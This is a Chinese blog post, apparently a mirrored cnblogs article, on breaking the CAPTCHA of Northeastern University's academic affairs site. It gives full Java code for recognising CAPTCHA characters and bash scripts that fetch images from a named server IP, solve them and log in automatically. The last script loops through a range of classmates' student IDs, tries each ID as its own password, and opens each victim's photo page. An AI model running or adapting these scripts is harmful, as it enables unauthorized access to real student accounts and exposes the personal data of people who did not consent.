码迷,mamicode.com
首页 > 其他好文 > 详细

东大教务处验证码破解

时间:2016-06-18 01:17:44      阅读:375      评论:0      收藏:0      [点我收藏+]

标签:

东北大学教务处编的很烂,一点鼠标键,它就着急拉慌说:"不当的拷贝会损坏您的系统".东大教务处的验证码是最简单的那一种,形同虚设,很易破解.

一.东大教务处验证码特点概述

  先上几张图片技术分享,技术分享.

  字符集 a-zA-Z0-9共26+26+10=62个字符

  字符位置 四种,如果四个字符一模一样,这四个字符之间的间距是固定的,即第一个与第二个,第二个与第三个,第三个与第四个之间的距离都是一样的.

  字符形状 字符形状始终是一样的,不同位置的同一字符可以通过平移来生成.

  上面这些规律可以通过大量获取验证码并加以分析找出.

二.获取验证码,这是分析的材料

  既可以用HttpClient也可以用原生的URLConnection,这个问题比较简单,用URLConnection就足以解决了.只需要不停地访问特定链接,每次访问都会新生成验证码,这是因为没有把Session存储起来,只有Session相同,访问这个链接才能保持不变.

    public static void main(String[] args) throws Exception {
        for(int x=0;x<10;x++){
            download(x);
        }
    }

    static void download(int x) throws Exception {
        URL url = new URL(
                "http://202.118.31.197/index.jsp/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=92.16375222337473");
        URLConnection connection = url.openConnection();
        BufferedImage bit = ImageIO.read(connection.getInputStream());
        ImageIO.write(bit, "png", new File("img\\"+x + ".png"));
    }

三.验证码流程概述

服务器端有一个Servlet,专门用来处理验证码问题,每次访问这个Servlet,它都会做两件事:生成一个字符串作为验证码,把这个字符串存储到session中,然后根据验证码字符串生成一张图片应答客户端请求.当浏览器端提交用户名,密码,验证码表单时,服务器端根据验证码是否与Session中的验证码一致来决定是否进行下一步判断(用户名密码是否匹配).

所以,需要把Session存储起来,以同一Session去访问一个同一个验证码.即,

第一步访问主页面,获取html,并把Session保存起来

第二步解析html页面,找到验证码图片链接,用上面保存的那个Session去访问这个链接,得到正确的验证码图片

第三步根据图片求出一个字符串,也就是验证码的破解过程.

第四步模拟提交表单,登录教务处,表单中包括用户名,密码,验证码

第五步根据登陆之后的结果(返回的html页面),去访问页面内容

用JSOUP来解析html是很好的.

四.给一张图片如何识别上面的字符

给一张图片,我们所知道的就是图片上的各个像素值,即ARGB(在这个问题中A值一直不变,只有RGB发生变化).根据相邻点的颜色差就可以判断两个点是不是属于同一个"国家".

颜色差可以有多种计算方法:

余弦定理:RGB就相当于一个三维空间,在这个三维空间中一个颜色就表示一个点.比如两个颜色对应的点为A,B.原点用O来表示,求OA和OB的夹角,夹角小说明两种颜色相近.

欧几里得距离:RGB就相当于一个三维空间,每个颜色对应一个点,两个颜色对应点为A,B.求线段AB的长度,此长度即为两个颜色的差异,AB长度越短说明两个颜色越相近.

汉密尔顿距离:RGB就相当于一个三维空间,每个颜色对应一个点,两个颜色对应点为A,B,线段AB的距离定义为|x2-x1|+|y2-y1|+|z2-z1|

从左到右,从上到下扫描图片的各个像素点,给每个点标一个国家id.从一个"有国点"可以向"无国点"沿上下左右四个方向进行扩散,如果颜色差不超过某个阈值,那么有国点就可以进行领土扩张,把无国点占领,把无国点的国家id标为自己的国家id.这样一来,整个图片就被分成了许多个国家.每个国家代表一个字符.

然而,图片上是有噪音的,阈值不同会影响国家的划分,阈值的两个极端是:国家太多(一个字符被分裂成了多个国家),国家太少(整张图片就是一个国家,像纯色图片一样).

我想要获得的是:每个字符在4种位置上所对应的"点集合",通过鼠标右键点击,来作为这个国家的开始点进行扩展,几乎形成了一个字符(像扫雷一样,我点击一个点,扩展出来一大片点).这样就形成了一个字符的主体.这个主体可能是不完整的,需要通过鼠标左键来点击个别点来完善这个字符的"点集合".鼠标双击清空点集合,鼠标滚轮滚动调整颜色阈值.通过这种可视化的操作就可以生成62个字符在4个位置对应的点集合.

经过观察,同一字符在4个位置上形状是一模一样的,只是位置不一样,验证码"AAAA",每个A之间的距离是一样的,为disA,"BBBB"每个B之间的距离是一样的,为disB.发现disA=disB.

这样一来,问题转化为建立一个"数据库",为62个字符各自定义一套描述形状的"点集合".并把每个字符在4个位置的最左,最上的点的坐标记录下来.有了形状,有了位置,就可以制作验证码了!这样就可以检验一下自己的数据库是否正确.

五.应用数据库

有了数据库,就有了一套"模板".对于一个包含四个字符的验证码图片,我把这四个字符逐一破解,而不是一下子全部破解.

对于位置一上的字符,有62中可能,我就把这62个字符挨个画在图片上,必然得到一个"点集合",也就是一个"颜色值集合",也就是一个"三维向量集合".求出"三维向量集合"的标准差来,如果标准差小,说明这个字符匹配得好;标准差大,说明这个字符匹配得差.

不一定是标准差,也可以是其他的数值来描述这个"三维向量集合"的特征.最终要的结果是:能够根据"三维向量集"映射到62个字符中的一个.

六.结果

对于有些字符,比如0(零)和O(欧),它们的字形是完全一样的,遇到包含这两者的验证码时是谁都可以,但是服务器可不这么认为.

对于i和I,对于i和L,它们具有包含关系,也就是说明明是L,会识别成i.因为L所在"点集合"包括i所在"点集合",后者标准差更小,这样就造成了误判.

解决方法一是调整"三维向量集"到"数值"的映射,不要使用标准差,而是使用其它函数;

解决方法二:对得到的62个标准差就行排名,不取标准差最小值作为结果,而是一旦形成这个排名,那就选择第几名.比如L字符通常排在第二名,i排在第一名.通过检测前五名,如果前五名满足某个序列,那就放弃"最小值原则",而采取"特殊处理".

解决方法三:如果标准差相差不大,谁的面积大就选谁.对于前几名,如果第n+1名的标准差<第n名的标准差的1.3倍,这就说明二者标准差相差不大,此时如果第n+1名面积大(点多),那么就选择第n+1名.然后再把n+1名跟n+2名做如此比较.直到找到最好的为止.

Main.java:用来生成"字形字位数据库"

/* 验证码图片是60*20的矩形点阵,每个点用RGB三原色表示(ARGB中的A始终为0xff)
 * 验证码有62种字符0-9,a-z,A-Z
 * 每一个字符都有一个形状:这是一个点集合
 * 每个字符都有固定的位置(有四种位置,每两个相邻位置之间的距离为13格)
 * 这个文件用来产生数据,格式为62行,每行开头一个字符,接着第一种位置x和y,
 * 剩下的内容都是点集合
 * 
 * 这个程序的目的是可视化的产生上述数据,通过鼠标点击,来选定点集
 * 鼠标左键:选定单个点
 * 鼠标右键:选定一个点及其附近与之相似的点
 * CTRL+鼠标左键:清除单个点
 * 空格:清空全部点
 * ctrl+s保存当前结果到文件
 * 
 * 选定一个点及其附近与之相似的点:利用颜色相似度来决定是否两个相邻点为同一个国家的公民
 * 如果两个相邻点颜色相近,那就把他俩看成连通的
 * 求出整个大图的全部连通分量
 * 
 * 一开始我还准备进行噪音处理,然而效果并不理想
 * */
class Point {
    int x, y;

    Point(int x, int y) {
        this.x = x;
        this.y = y;
    }

    @Override
    public int hashCode() {
        return x ^ y;
    }

    @Override
    public boolean equals(Object obj) {
        Point p = (Point) obj;
        return p.x == x && p.y == y;
    }

    boolean less(Point p) {
        if (x == p.x)
            return y < p.y;
        else
            return x < p.x;
    }
}

class Country {
    ArrayList<Point> a = new ArrayList<Point>();

    Country() {

    }

    Country(ArrayList<Point> a) {
        this.a = new ArrayList<Point>();
        for (Point p : a) {
            this.a.add(new Point(p.x, p.y));
        }
    }
}

class Go {
    int[][] a;
    int[][] ans;
    int[][] id;
    ArrayList<Country> countries = new ArrayList<Country>();
    int w, h;
    int[] color;
    static int COLOR_DIS = 55;
    static int NOISE_LOWER_BOUND = 5, NOISE_UPPER_BOUND = 4;

    public Go(int[][] a) {
        this.a = a;
        w = a.length;
        h = a[0].length;
        id = new int[w][h];
        expand();
        // delNoise();
        initColor(countries.size());
        getAns();
    }

    void cout(String s) {
        System.out.println(s);
    }

    void getAns() {
        ans = new int[w][h];
        for (int i = 0; i < countries.size(); i++) {
            Country c = countries.get(i);
            for (int j = 0; j < c.a.size(); j++) {
                ans[c.a.get(j).x][c.a.get(j).y] = color[i];
            }
        }
    }

    void delNoise() {
        Country zero = countries.get(0);
        for (int i = countries.size() - 1; i >= 0; i--) {
            Country c = countries.get(i);
            if (c.a.size() < NOISE_LOWER_BOUND || radius(c) > NOISE_UPPER_BOUND) {
                zero.a.addAll(c.a);
                countries.remove(i);
            }
        }
    }

    boolean hasRadius(Country c, int r) {
        for (int i = 0; i < c.a.size(); i++) {
            int m = c.a.get(i).x, n = c.a.get(i).y;
            boolean ok = true;
            out: for (int j = -r; j <= r; j++) {
                for (int k = -(r - Math.abs(j)); k <= r - Math.abs(j); k++) {
                    int x = m + j, y = n + k;
                    if (legal(x, y) && id[x][y] != id[m][n]) {
                        ok = false;
                        break out;
                    }
                }
            }
            if (ok)
                return true;
        }
        return false;
    }

    int radius(Country c) {
        int r = (int) Math.sqrt(c.a.size()), l = 0;
        while (l < r) {
            int m = (l + r) >> 1;
            if (hasRadius(c, m))
                l = m + 1;
            else
                r = m;
        }
        return r;
    }

    void expand() {
        countries.add(new Country());
        for (int i = 0; i < w; i++) {
            for (int j = 0; j < h; j++) {
                if (id[i][j] == 0) {
                    countries.add(new Country());
                    go(countries.get(countries.size() - 1), i, j, countries.size() - 1);
                }
            }
        }
    }

    void go(Country country, int fx, int fy, int cnt) {
        int dir[] = { 0, 1, 0, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, -1, -1, 1 };
        id[fx][fy] = cnt;
        country.a.add(new Point(fx, fy));
        for (int i = 0; i < dir.length; i += 2) {
            int x = fx + dir[i], y = fy + dir[i + 1];
            if (legal(x, y) && id[x][y] == 0 && dis(a[fx][fy], a[x][y]) < COLOR_DIS) {
                go(country, x, y, cnt);
            }
        }
    }

    void initColor(int cnt) {
        color = new int[cnt];
        double per = 255.0 / Math.pow(cnt, 1.0 / 3);
        int ci = 0;
        for (int i = 0; i < 255; i += per) {
            for (int j = 0; j < 255; j += per) {
                for (int k = 0; k < 255; k += per) {
                    color[ci++] = i | j << 8 | k << 16;
                    if (ci == cnt)
                        return;
                }
            }
        }
    }

    boolean legal(int x, int y) {
        return x >= 0 && y >= 0 && x < w && y < h;
    }

    int dis(int x, int y) {
        int ans = 0;
        for (int i = 0; i < 3; i++) {
            int d = Math.abs((x & 255) - (y & 255));
            ans += d * d;
            x >>= 8;
            y >>= 8;
        }
        ans = (int) Math.sqrt(ans);
        return ans;
    }
}

class Data {
    Country[] xing = new Country[128];
    Point[][] wei = new Point[128][4];

    void save() {
        PrintWriter cout = null;
        try {
            cout = new PrintWriter(new File("haha.txt"));
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        for (char c = ‘0‘; c <= ‘9‘; c++) {
            print(cout, c);
        }
        for (char c = ‘a‘; c <= ‘z‘; c++) {
            print(cout, c);
        }
        for (char c = ‘A‘; c <= ‘Z‘; c++) {
            print(cout, c);
        }
        cout.close();
    }

    void print(PrintWriter cout, char c) {
        cout.println();
        cout.print(c);
        for (int i = 0; i < 4; i++)
            if (wei[c][i] == null)
                continue;
            else
                cout.print(" " + wei[c][i].x + " " + wei[c][i].y);
        if (xing[c] == null)
            return;
        for (Point p : xing[c].a)
            cout.print(" " + p.x + " " + p.y);
    }

    String gets(char c) {
        String s = "" + c;
        for (int i = 0; i < 4; i++) {
            if (wei[c][i] == null) {
                s += " (_,_)";
            } else {
                s += " (" + wei[c][i].x + "," + wei[c][i].y + ")";
            }
        }
        if (xing[c] != null) {
            s += "====== ";
            for (Point p : xing[c].a) {
                s += "(" + p.x + "," + p.y + ")";
            }
        }
        return s + "\n";
    }

    public String toString() {
        String s = "";
        for (char c = ‘0‘; c <= ‘9‘; c++) {
            s += gets(c);
        }
        for (char c = ‘a‘; c <= ‘z‘; c++) {
            s += gets(c);
        }
        for (char c = ‘A‘; c <= ‘Z‘; c++) {
            s += gets(c);
        }
        return s;
    }

    void sort(ArrayList<Point> a) {
        for (int i = 0; i < a.size(); i++) {
            for (int j = 0; j < a.size(); j++) {
                if (a.get(i).less(a.get(j))) {
                    Point temp = a.get(i);
                    a.set(i, a.get(j));
                    a.set(j, temp);
                }
            }
        }
    }

    void uniq(ArrayList<Point> a) {
        for (int i = a.size() - 1; i > 0; i--)
            if (a.get(i).equals(a.get(i - 1))) {
                a.remove(i);
            }
    }

    void update(ArrayList<Point> a) {
        int x = a.get(0).x, y = a.get(0).y;
        for (Point p : a) {
            p.x -= x;
            p.y -= y;
        }
    }

    void set(String s, Country country) {
        if (country == null || country.a == null)
            return;
        Scanner cin = new Scanner(s);
        String c = cin.next();
        if (country.a.size() == 0) {
            System.out.println("Country.a.size() cannot be zero !!!");
        }
        if (country.a.size() == 1) {
            int pos = cin.nextInt() - 1;
            wei[c.charAt(0)][pos] = country.a.get(0);
        } else {
            sort(country.a);
            uniq(country.a);
            update(country.a);
            xing[c.charAt(0)] = country;
        }
        cin.close();
    }
}

public class Main extends JFrame {
    public static void main(String[] args) {
        try {
            UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
        } catch (ClassNotFoundException | InstantiationException | IllegalAccessException
                | UnsupportedLookAndFeelException e) {
            e.printStackTrace();
        }
        new Main();
    }

    File[] files = new File("img").listFiles();
    int fileIndex = 0;

    JPanel protoPanel = new JPanel(), nowPanel = new JPanel();
    JTextField txt = new JTextField();
    JTextArea area = new JTextArea(6, 0);
    Container content;

    int proto[][], now[][];
    BufferedImage protoImage, nowImage;
    ArrayList<Point> selectedPoints;
    Data data = new Data();
    Go go;

    void initControl() {
        Font f = new Font("Ubuntu Mono", Font.BOLD, 30);
        txt.setFont(f);
        area.setFont(f);
        area.setEditable(false);
        txt.addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                if (e.getKeyCode() == KeyEvent.VK_ENTER) {
                    data.set(txt.getText(), new Country(selectedPoints));
                    area.setText(data.toString());
                    txt.setText("");
                    selectedPoints = null;
                    protoPanelPaint();
                }
            }
        });
    }

    Main() {
        loadProto();
        loadNow();

        setTitle("agnomen decoder");
        content = getContentPane();
        content.setLayout(new BorderLayout());

        JPanel pane = new JPanel(new GridLayout());
        pane.add(protoPanel);
        pane.add(nowPanel);
        content.add(pane, BorderLayout.CENTER);

        JPanel editPane = new JPanel(new BorderLayout());
        initControl();
        editPane.add(txt, BorderLayout.NORTH);
        editPane.add(new JScrollPane(area), BorderLayout.CENTER);
        content.add(editPane, BorderLayout.NORTH);

        setExtendedState(MAXIMIZED_BOTH);
        setDefaultCloseOperation(EXIT_ON_CLOSE);
        setVisible(true);

        protoPanel.addMouseListener(new MouseAdapter() {
            @Override
            public void mouseEntered(MouseEvent e) {
                protoPanel.grabFocus();
            }

            @Override
            public void mouseClicked(MouseEvent e) {
                double w = (double) protoPanel.getWidth() / proto.length,
                        h = (double) protoPanel.getHeight() / proto[0].length;
                int x = (int) (e.getX() / w), y = (int) (e.getY() / h);
                int color = proto[x][y];
                int b = color & 255, g = (color >> 8) & 255, r = (color >> 16) & 255;
                setTitle(x + " " + y + " " + r + " " + g + " " + b);
                if (e.getButton() == MouseEvent.BUTTON3) {
                    selectedPoints = go.countries.get(go.id[x][y]).a;
                    protoPanelPaint();
                } else if (e.getButton() == MouseEvent.BUTTON1) {
                    if (e.isControlDown()) {
                        if (selectedPoints == null)
                            return;
                        for (Point p : selectedPoints) {
                            if (p.x == x && p.y == y) {
                                selectedPoints.remove(p);
                                protoPanelPaint();
                                return;
                            }
                        }
                    } else {
                        if (selectedPoints == null)
                            selectedPoints = new ArrayList<Point>();
                        selectedPoints.add(new Point(x, y));
                        protoPanelPaint();
                    }
                }
            }
        });
        nowPanel.addMouseWheelListener(new MouseWheelListener() {
            @Override
            public void mouseWheelMoved(MouseWheelEvent e) {
                int x = e.getWheelRotation();
                Go.COLOR_DIS += x;
                setTitle(Go.COLOR_DIS + "");
                loadNow();
                nowPanelPaint();
            }
        });
        protoPanel.addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                if (e.getKeyCode() == KeyEvent.VK_DOWN) {
                    fileIndex = (fileIndex + 1) % files.length;
                    selectedPoints = null;
                    loadProto();
                    loadNow();
                    repaint();
                } else if (e.getKeyCode() == KeyEvent.VK_UP) {
                    fileIndex = (fileIndex - 1 + files.length) % files.length;
                    selectedPoints = null;
                    loadProto();
                    loadNow();
                    repaint();
                } else if (e.getKeyCode() == KeyEvent.VK_S && e.isControlDown()) {
                    data.save();
                    /*
                     * JFrame dlg = new JFrame();
                     * //dlg.getContentPane().setLayout(null); JTextArea area =
                     * new JTextArea(); Font f = new Font("Ubuntu Mono",
                     * Font.BOLD, 30); area.setFont(f); Scanner cin = null; try
                     * { cin = new Scanner(new File("data.txt")); } catch
                     * (FileNotFoundException e1) { e1.printStackTrace(); }
                     * String s = ""; while (cin.hasNext()) { s +=
                     * cin.nextLine()+"\n"; } area.setText(s);
                     * dlg.getContentPane().add(area);
                     * dlg.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
                     * dlg.setSize(800, 800); dlg.setVisible(true);
                     */
                } else if (e.getKeyCode() == KeyEvent.VK_SPACE) {
                    selectedPoints = null;
                    protoPanelPaint();
                }
            }
        });
    }

    @Override
    public void paint(Graphics g) {
        protoPanelPaint();
        nowPanelPaint();
    }

    void loadNow() {
        go = new Go(proto);
        now = go.ans;
        nowImage = toImg(now);
    }

    void loadProto() {
        try {
            protoImage = ImageIO.read(files[fileIndex]);
            proto = toArray(protoImage);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    int[][] copy(int[][] src) {
        int[][] a = new int[src.length][src[0].length];
        for (int i = 0; i < src.length; i++) {
            for (int j = 0; j < src[i].length; j++) {
                a[i][j] = src[i][j];
            }
        }
        return a;
    }

    void nowPanelPaint() {
        nowPanel.getGraphics().drawImage(nowImage, 0, 0, nowPanel.getWidth(), nowPanel.getHeight(), null);
    }

    void protoPanelPaint() {
        int[][] midArray = copy(proto);
        addColor(midArray);
        BufferedImage midImg = toImg(midArray);
        protoPanel.getGraphics().drawImage(midImg, 0, 0, protoPanel.getWidth(), protoPanel.getHeight(), null);
    }

    void addColor(int[][] a) {
        if (selectedPoints == null)
            return;
        for (Point p : selectedPoints) {
            a[p.x][p.y] = 0xff0000;
        }
    }

    BufferedImage toImg(int[][] a) {
        BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB);
        for (int i = 0; i < pic.getWidth(); i++) {
            for (int j = 0; j < pic.getHeight(); j++) {
                pic.setRGB(i, j, a[i][j]);
            }
        }
        return pic;
    }

    int[][] toArray(BufferedImage img) {
        int a[][] = new int[img.getWidth()][img.getHeight()];
        for (int i = 0; i < img.getWidth(); i++) {
            for (int j = 0; j < img.getHeight(); j++) {
                a[i][j] = img.getRGB(i, j);
            }
        }
        return a;
    }

    void cout(String s) {
        System.out.print(s);
    }
}

TestAns.java:用来检验数据库是否正确

/* Main.java用来生成数据
 * 本程序用来验证生成的数据是否正确
 * 其实就是从data.txt中把数据读出来,然后画一下
 * 用眼睛一看便知是否正确
 * 
 * l和o在验证码中没出现过
 * 在txtField中输入字符,按enter就可以在同一张图片上查看不同对比
 * */
class Node {
    int x, y;
    ArrayList<Point> a = new ArrayList<Point>();
}

public class TestAns extends JFrame {
    public static void main(String[] args) {
        new TestAns();
    }

    Node[] a = new Node[128];
    char[] charSet;
    int index = 0;
    int[][] nowArray = new int[60][20];
    JTextField txt = new JTextField();
    JPanel panel = new JPanel();

    void readFile() {
        Scanner cin = null;
        try {
            cin = new Scanner(new File("data.txt"));
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        while (cin.hasNextLine()) {
            String s = cin.nextLine();
            Scanner sin = new Scanner(s);
            char c = sin.next().charAt(0);
            a[c] = new Node();
            a[c].x = sin.nextInt();
            a[c].y = sin.nextInt();
            while (sin.hasNext()) {
                a[c].a.add(new Point(sin.nextInt(), sin.nextInt()));
            }
            sin.close();
        }
        cin.close();
    }

    void initCharSet() {
        String s = "";
        for (char c = ‘0‘; c <= ‘9‘; c++)
            s += c;
        for (char c = ‘a‘; c <= ‘z‘; c++)
            s += c;
        for (char c = ‘A‘; c <= ‘Z‘; c++)
            s += c;
        charSet = s.toCharArray();
    }

    public TestAns() {
        readFile();
        initCharSet();
        initNowArray("0000"); 
        Container content = getContentPane();
        content.setLayout(new BorderLayout());
        content.add(txt, BorderLayout.NORTH);
        txt.addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                if (e.getKeyCode() == KeyEvent.VK_ENTER) {
                    initNowArray(txt.getText());
                    repaint();
                }else if (e.getKeyCode() == KeyEvent.VK_UP) {
                    index--;
                    char c = charSet[index];
                    initNowArray(c + "" + c + "" + c + "" + c);
                    repaint();
                } else if (e.getKeyCode() == KeyEvent.VK_DOWN) {
                    index++;
                    char c = charSet[index];
                    initNowArray(c + "" + c + "" + c + "" + c);
                    repaint();
                }
            }
        });
        content.add(panel, BorderLayout.CENTER);
        setExtendedState(MAXIMIZED_BOTH);
        setDefaultCloseOperation(DISPOSE_ON_CLOSE);
        setVisible(true);
    }

    @Override
    public void paint(Graphics ggg) {
        Graphics g = panel.getGraphics();
        g.drawImage(toImg(nowArray), 0, 0, panel.getWidth(), panel.getHeight(), null);
    }

    void initNowArray(String s) {
        setTitle(s);
        for (int i = 0; i < nowArray.length; i++) {
            for (int j = 0; j < nowArray[0].length; j++) {
                nowArray[i][j] = 0;
            }
        }
        for (int i = 0; i < 4 && i < s.length(); i++) {
            char c = s.charAt(i);
            for (Point p : a[c].a) {
                nowArray[p.x + a[c].x + i * 13][a[c].y + p.y] = 0xffffff;
            }
        }
    }

    BufferedImage toImg(int[][] a) {
        BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB);
        for (int i = 0; i < pic.getWidth(); i++) {
            for (int j = 0; j < pic.getHeight(); j++) {
                pic.setRGB(i, j, a[i][j]);
            }
        }
        return pic;
    }
}

Decoder.java:应用数据库,破解验证码

/* 经过Main.java生成数据,TestAns验证数据,本程序应用数据去破解图片
 * 从文件夹中读取全部的图片,在窗口的标题处显示破解结果
 * 在窗口主体处显示原始图片
 * 
 * 如何应用那些数据呢?
 * for循环62个字符*4个位置,如果匹配成功了,那就该字符所覆盖的点集颜色方差非常小
 * 所以,只要找出方差最小的字符来就可以了
 * i和P,K,j等字符容易混淆,n和h容易混淆,因为后者包含前者.我的解决方法是一个判断,如果方差相差不多,那就取面积大者
 * O和0分不清,因为这两个字符一模一样
 * */
class Color {
    double r, g, b;

    Color add(Color c) {
        return new Color(r + c.r, g + c.g, b + c.b);
    }

    Color(double d, double e, double f) {
        this.r = d;
        this.g = e;
        this.b = f;
    }

    Color(int x) {
        r = x & 255;
        g = (x >> 8) & 255;
        b = (x >> 16) & 255;
    }

    public Color mul() {
        return new Color(r * r, g * g, b * b);
    }

    public Color sub(Color m) {
        return new Color(r - m.r, g - m.g, b - m.b);
    }

    public Color div(int size) {
        return new Color(r / size, g / size, b / size);
    }

    public double len() {
        return Math.sqrt(r * r + g * g + b * b);
    }
}

public class Decoder extends JFrame {
    public static void main(String[] args) {
        if (args.length == 0)
            new Decoder();
        else if (args.length == 1)
            new Decoder(args[0]);
        else {
            System.out.println("too much arguments");
            System.exit(-1);
        }
    }

    File[] files = new File("img").listFiles();
    int fileIndex = 0;
    Container content;
    Node[] a = new Node[128];
    char[] charSet;
    int[][] proto;

    void readFile() {
        Scanner cin = null;
        try {
            cin = new Scanner(new File("data.txt"));
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        while (cin.hasNextLine()) {
            String s = cin.nextLine();
            Scanner sin = new Scanner(s);
            char c = sin.next().charAt(0);
            a[c] = new Node();
            a[c].x = sin.nextInt();
            a[c].y = sin.nextInt();
            while (sin.hasNext()) {
                a[c].a.add(new Point(sin.nextInt(), sin.nextInt()));
            }
            sin.close();
        }
        cin.close();
    }

    void initCharSet() {
        String s = "";
        for (char c = ‘0‘; c <= ‘9‘; c++)
            s += c;
        for (char c = ‘a‘; c <= ‘z‘; c++)
            s += c;
        for (char c = ‘A‘; c <= ‘Z‘; c++)
            s += c;
        charSet = s.toCharArray();
    }

    Decoder(String path) {
        readFile();
        initCharSet();
        BufferedImage img = null;
        try {
            img = ImageIO.read(files[fileIndex]);
        } catch (IOException e) {
            e.printStackTrace();
        }
        proto = toArray(img);
        System.out.println(go());
    }

    Decoder() {
        readFile();
        initCharSet();
        content = getContentPane();
        setDefaultCloseOperation(EXIT_ON_CLOSE);
        setExtendedState(MAXIMIZED_BOTH);
        setVisible(true);
        addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                if (e.getKeyCode() == KeyEvent.VK_DOWN) {
                    fileIndex = (fileIndex + 1) % files.length;
                    repaint();
                } else if (e.getKeyCode() == KeyEvent.VK_UP) {
                    fileIndex = (fileIndex - 1 + files.length) % files.length;
                    repaint();
                }
            }
        });
    }

    @Override
    public void paint(Graphics g) {
        try {
            BufferedImage img = ImageIO.read(files[fileIndex]);
            proto = toArray(img);
            g.drawImage(img, 0, 0, content.getWidth(), content.getHeight(), null);
            setTitle(go());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    String go() {
        double sizeRatio = 3.47;
        String ans = "";
        for (int i = 0; i < 4; i++) {
            char minC = ‘l‘;
            double minDx = Double.MAX_VALUE;
            for (char c : charSet) {
                ArrayList<Point> s = a[c].a;
                Color m = new Color(0), n = new Color(0);
                for (Point p : s) {
                    int x = p.x + a[c].x + i * 13, y = p.y + a[c].y;
                    m = m.add(new Color(proto[x][y]));
                    n = n.add(new Color(proto[x][y]).mul());
                }
                n = n.div(s.size());
                m = m.div(s.size());
                double nowDx = n.sub(m.mul()).len();
                System.out.println(c + " " + nowDx);
                /*
                 * This condition is very important ! Different condition can
                 * generate different result !
                 */
                if (nowDx < minDx && !(minDx < nowDx * sizeRatio && s.size() < a[minC].a.size())
                        || nowDx < minDx * sizeRatio && s.size() > a[minC].a.size()) {
                    // if (nowDx < 1500 && s.size() > a[minC].a.size()) {
                    minDx = nowDx;
                    minC = c;
                }
            }
            ans += minC;
        }
        return ans;
    }

    int[][] toArray(BufferedImage img) {
        int a[][] = new int[img.getWidth()][img.getHeight()];
        for (int i = 0; i < img.getWidth(); i++) {
            for (int j = 0; j < img.getHeight(); j++) {
                a[i][j] = img.getRGB(i, j);
            }
        }
        return a;
    }
}

为了像使用脚本一样使用java,我把.class文件生成到临时文件夹中,编译完之后立马执行.

#!/bin/bash
test -e $1    || { echo file does not exist !;exit 2; }
src=$1
shift
name="${src%.*}"
type="${src##*.}"
dir=`pwd`
dir="/tmp/${dir////_}" 
case $type in
    java)
        path="$dir/$name.class"
        compile="javac -d $dir $src"
        run="java -cp $dir $name $@";;
    cpp)
        path="$dir/$name.out"
        compile="g++ $1 -o $dir/$name.out"
        run="$dir/$name.out $@";;
    *)
        echo "unknown file type "
        exit 1
esac 
if test ! -d "$dir" ;then 
    #echo mkdir...compiling...
    mkdir "$dir" && $compile && $run
elif test ! -f $path -o $path -ot $src ;then 
    #echo compiling... 
    $compile && $run
else $run
fi

写一个脚本试试验证码破解的正确率,eog调用图片查看命令

#!/bin/bash
home="202.118.31.197"
url="http://$home/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=0"
while true;do
    wget -o /dev/null -O agnomen $url
    ./ja Decoder.java agnomen
    eog agnomen
done

使用curl命令进行请求服务器并调用java代码破解验证码,然后模拟登陆.

function cout(){
    echo -e "\033[31m$@\033[0m"
}
function translate(){ 
    iconv -f "$1" -t utf-8 "$2" -o "$2" 
}
usr=20124003
usr="$1"
passwd=weidiao
passwd="$2"
home="202.118.31.197"
url="http://$home" 
find "$home" -type f -exec rm {} \;

wget -o /dev/null --keep-session-cookies --save-cookies=cookie -p $url 
pic=` iconv -f gb2312 -t utf-8 $home/index.html | grep -o ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=[0-9,.]*`
x=`./ja Decoder.java "$home/$pic"` 
data="WebUserNO=$usr&Password=$passwd&Agnomen=$x"
wget -o /dev/null -O "aao.html" --keep-session-cookies --load-cookies=cookie --post-data=$data "$url/ACTIONLOGON.APPPROCESS?mode="
translate "gb2312" "aao.html"
grep "frameset" "aao.html" || { cout "login failed"; exit 1; }
cout "login successful !"
#exit 0

echo =======================
wget -o /dev/null --keep-session-cookies --load-cookies=cookie  -p  "http://202.118.31.197/ACTIONFINDSTUDENTINFO.APPPROCESS"
stuInfo="$home/ACTIONFINDSTUDENTINFO.APPPROCESS?mode=1&showMsg="
translate "gbk"  "$stuInfo"
cat "$stuInfo"

终于到了收获的季节,查看一下有多少人学号跟密码是一回事(没法破解密码,破解密码只能通过暴力方式),验证码是不用手动填的,我同学的学号都是递增的数字序列.

#!/bin/bash
i=20121234
while test $i -lt  20123990 ;do
    echo $i
    ./haha.sh $i $i && eog "202.118.31.197/ACTIONDSPUSERPHOTO.APPPROCESS"
    i=$((i+1))
done

东大教务处验证码破解

标签:

原文地址:http://www.cnblogs.com/weidiao/p/5595477.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!